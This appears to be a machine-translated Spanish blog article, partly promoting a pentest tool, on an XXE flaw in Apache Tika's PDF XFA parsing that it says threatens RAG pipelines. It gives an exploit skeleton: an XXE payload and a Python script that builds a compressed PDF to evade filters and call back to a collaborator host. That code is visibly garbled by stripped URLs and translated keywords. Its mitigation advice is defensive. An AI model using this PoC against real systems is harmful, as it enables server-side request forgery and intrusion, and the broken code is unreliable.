Anatomía de un RAG Killer: Profundización en CVE-2025-66516 y el RCE de Apache Tika

Con las prisas por desplegar los gasoductos de generación mejorada por recuperación (RAG), el sector ignoró colectivamente una verdad fundamental: El analizador es la superficie de ataque.

Mientras que en 2025 los titulares se centraron en la inyección de prompts y el Jailbreaking, los ataques más devastadores tienen como objetivo el poco glamuroso middleware que procesa los datos. CVE-2025-66516 (CVSS 10.0) es la culminación de este descuido. No es una vulnerabilidad de IA propiamente dichoes una vulnerabilidad de la infraestructura heredada convertida en arma contra las arquitecturas modernas de IA.

Este análisis desglosa la mecánica de la vulnerabilidad Apache Tika XFA, demuestra por qué los WAF estándar no la detectan y proporciona una estrategia de prueba de concepto (PoC) verificada para los probadores de penetración.

El contexto: Por qué CVE-2025-66516 es importante ahora

Para comprender la gravedad, debemos analizar la arquitectura de un sistema RAG empresarial típico en 2026.

1. Capa de usuario: Un empleado carga un PDF (por ejemplo, un informe financiero o un currículum) en un "Asistente de IA" interno.
2. Capa de ingestión: El backend (LangChain, LlamaIndex o scripts Python personalizados) utiliza un cargador de documentos.
3. Capa de análisis sintáctico: 85% de estos cargadores se basan en Apache Tika (a menudo ejecutándose como un servidor headless en un contenedor Docker) para extraer texto.
4. Vectorización: El texto se incrusta y almacena en una base de datos vectorial (Pinecone, Milvus, Weaviate).

CVE-2025-66516 visitas Capa 3. Permite a un atacante incrustar una carga maliciosa XML Forms Architecture (XFA) dentro de un PDF estándar. Cuando Tika intenta analizar los datos del formulario para extraer texto para el LLM, ejecuta el XML, lo que lleva a Entidad externa XML (XXE) inyección.

Debido a que Tika Server a menudo se ejecuta con privilegios de root dentro de contenedores para manejar archivos temporales, este XXE escala inmediatamente a Ejecución remota de código (RCE) o Falsificación de peticiones del lado del servidor (SSRF), permitiendo a los atacantes volcar las credenciales de metadatos de AWS o pivotar en la VPC interna.

Desglose técnico: El fallo lógico del analizador XFA

La vulnerabilidad existe en el org.apache.tika.parser.pdf.PDFParser específicamente en cómo maneja la clase XDP (paquete de datos XML) dentro de un PDF.

En versiones anteriores a la 3.2.2, la lógica para extraer datos XFA era algo así (representación simplificada en Java):

Java

// SEGMENTO DE CÓDIGO VULNERABLE (Conceptual) if (document.getCatalog().getAcroForm().hasXFA()) { XFA xfa = document.getCatalog().getAcroForm().getXFA(); Document xfaDom = xfa.getDomDocument(); // <--- Trigger Point // El transformador XML por defecto aquí no desactivó DTDs // o entidades externas efectivamente para flujos XFA. this.extractTextFromXFA(xfaDom); }

El fallo crítico fue asumir que el motor de renderizado de PDF (PDFBox) desinfectaba el flujo XML antes de que Tika accediera al DOM. No fue así. El analizador confió implícitamente en la estructura interna del PDF.

Comparación: Estándar XXE frente a CVE-2025-66516

Construcción del exploit (PoC)

Para convertir esto en un arma, no basta con un simple editor de texto. Necesitamos manipular la estructura de objetos PDF. El objetivo es inyectar un XDP que hace referencia a una entidad externa bajo su control.

Fase 1: La carga maliciosa XML

En primer lugar, creamos el XML que define la entidad. Queremos probar la interacción fuera de banda (OOB) para confirmar la vulnerabilidad sin bloquear el servidor.

XML

<xdp:xdp xmlns:xdp=""> <!DOCTYPE data [ <!ENTITY % payload SYSTEM ""> %payload; ]> CVE-Check

Fase 2: Script de inyección Python

Usamos Python para envolver este XML en una estructura de objetos PDF válida. Esto evita los antivirus basados en firmas porque el archivo es un PDF matemáticamente válido.

Python

`importar zlib

def build_exploit_pdf(callback_url): # 1. Definir el paquete XFA malicioso xfa_xml = f""" <xdp:xdp xmlns:xdp=""http://ns.adobe.com/xdp/"> <!DOCTYPE root [ %xxe; ]> """.strip()

# 2. Comprimir el flujo (Ofuscación)
# Tika inflará esto automáticamente, pero los WAFs a menudo pasan por alto los flujos comprimidos
stream_content = zlib.compress(xfa_xml.encode('utf-8'))

# 3. Construir el cuerpo del PDF
# El objeto 3 hace referencia al flujo XFA
pdf_body = (
    b "%PDF-1.7\n"
    b "1 0 obj\n<< /Tipo /Catálogo /Páginas 2 0 R /AcroForm <>\nendobj\n"
    b "2 0 obj\n<>\nendobj\n"
    b "3 0 obj\\n<>\n"
    b "stream\n" + stream_content + b"\nendstream\nendobj\n"
    b "trailer\n<>\n%%EOF"
)

with open("curriculum_hacker.pdf", "wb") as f:
    f.write(pdf_body)
print(f"[+] Artefacto 'resume_hacker.pdf' creado usando compresión zlib.")

Ejecute

build_exploit_pdf("http://burp-collaborator-url/xxe_trigger“)`

Cuando el agente RAG de la víctima procesa curriculum_hacker.pdf para generar incrustaciones, el backend de Tika infla el objeto 3, analiza el XML y lanza una solicitud a la URL de tu colaborador.

El punto ciego de las DevSecOps modernas

¿Por qué persiste CVE-2025-66516 en 2026? Pone de manifiesto una importante laguna en la metodología "Shift Left".

La mayoría de los equipos DevSecOps escanean sus código fuente (SAST) y su imágenes base (Exploración de contenedores). Sin embargo, Tika suele tratarse como una utilidad de "caja negra".

• SAST no lo ve porque es una dependencia binaria.
• DAST (Pruebas de seguridad de aplicaciones dinámicas) suele hacer "fuzzing" de los puntos finales de la API con JSON o SQLi, pero rara vez intenta cargas complejas de archivos políglotas en formato binario.

Aquí es donde las metodologías de prueba heredadas fallan frente a los Agentes de IA. El Agente está diseñado para consumir datos complejos no estructurados; por lo tanto, los casos de prueba deben ser datos complejos no estructurados.

Validación automatizada con Penligent

Este vector específico -los ataques incrustados en formatos de archivo no estructurados- es uno de los principales objetivos de la seguridad ofensiva de nueva generación. Aquí es donde herramientas como Penligente se diferencian de los escáneres tradicionales como Nessus o Burp Suite.

Los agentes de IA de Penligent están diseñados para comprender el contexto de la aplicación. Cuando Penligent encuentra un punto final de carga de archivos en un canal RAG, no se limita a rastrear los encabezados HTTP. Construye de forma inteligente cargas útiles "basadas en mutaciones" como el exploit PDF anterior. Efectivamente pregunta: "Si le doy a esta IA un currículum que contenga un exploit a nivel de kernel, ¿lo procesará?".

Al automatizar la creación de estos archivos políglotas (PDFs que contienen XXE, imágenes que contienen webshells PHP), Penligent simula un atacante sofisticado que entiende la lógica de análisis subyacente del objetivo, proporcionando una evaluación realista de la resistencia de la tubería RAG contra CVE-2025-66516 y ataques similares de "confusión de formato".

Estrategias de mitigación

Si su organización depende de Tika (o de marcos que lo incluyan, como Unstructured.io o LangChain Community), aplique estas correcciones inmediatamente.

1. La opción "nuclear": Desactivar XFA

A menos que su empresa requiera específicamente el análisis sintáctico de datos de formularios PDF interactivos (lo cual es poco frecuente en RAG), desactive por completo el analizador sintáctico XFA en tika-config.xml.

XML

false false false

2. Aislar el analizador sintáctico (el patrón "esclusa")

Nunca ejecute el análisis sintáctico de documentos en el mismo contexto que la lógica de su aplicación o su base de datos vectorial.

• Ejecute Tika en un contenedor sin distribución.
• Aislamiento de la red: El contenedor Tika debe tener acceso de salida cero. Recibe un archivo, devuelve texto y no puede iniciar conexiones a Internet o al servicio interno de metadatos en la nube (169.254.169.254).
• Límites de recursos: Establecer límites estrictos de memoria (Xmx) para evitar los ataques DoS "Billion Laughs", que suelen ser primos de XXE.

3. Pasar a Sandboxed Parsers

Considera alejarte de los analizadores basados en Java para entradas no fiables. Las alternativas modernas que utilizan Rust o Go, o entornos aislados como gVisor o Petardo de AWSproporcionan una capa de aislamiento mucho más fuerte para la tarea inherentemente arriesgada de analizar archivos binarios.

Resumen

CVE-2025-66516 sirve de llamada de atención para la seguridad de la IA. Estamos construyendo castillos inteligentes sobre arena. Mientras nuestros modelos de IA dependan de bibliotecas de análisis de hace décadas para interpretar el mundo, esas bibliotecas seguirán siendo el camino de menor resistencia para los atacantes.

Asegure su capa de ingestión. Verifique sus versiones de Tika. Y asuma que cada PDF cargado en su sistema es un arma hasta que se demuestre lo contrario.

Referencias y lecturas complementarias

• Boletines de seguridad de Apache Tika (oficiales)
• OWASP Top 10 para aplicaciones LLM: LLM06 Agencia Excesiva
• NVD - CVE-2025-66516 Detalle
• Presentación BlackHat 2025: "Parsing the Unparsable" (Analizando lo incomprensible)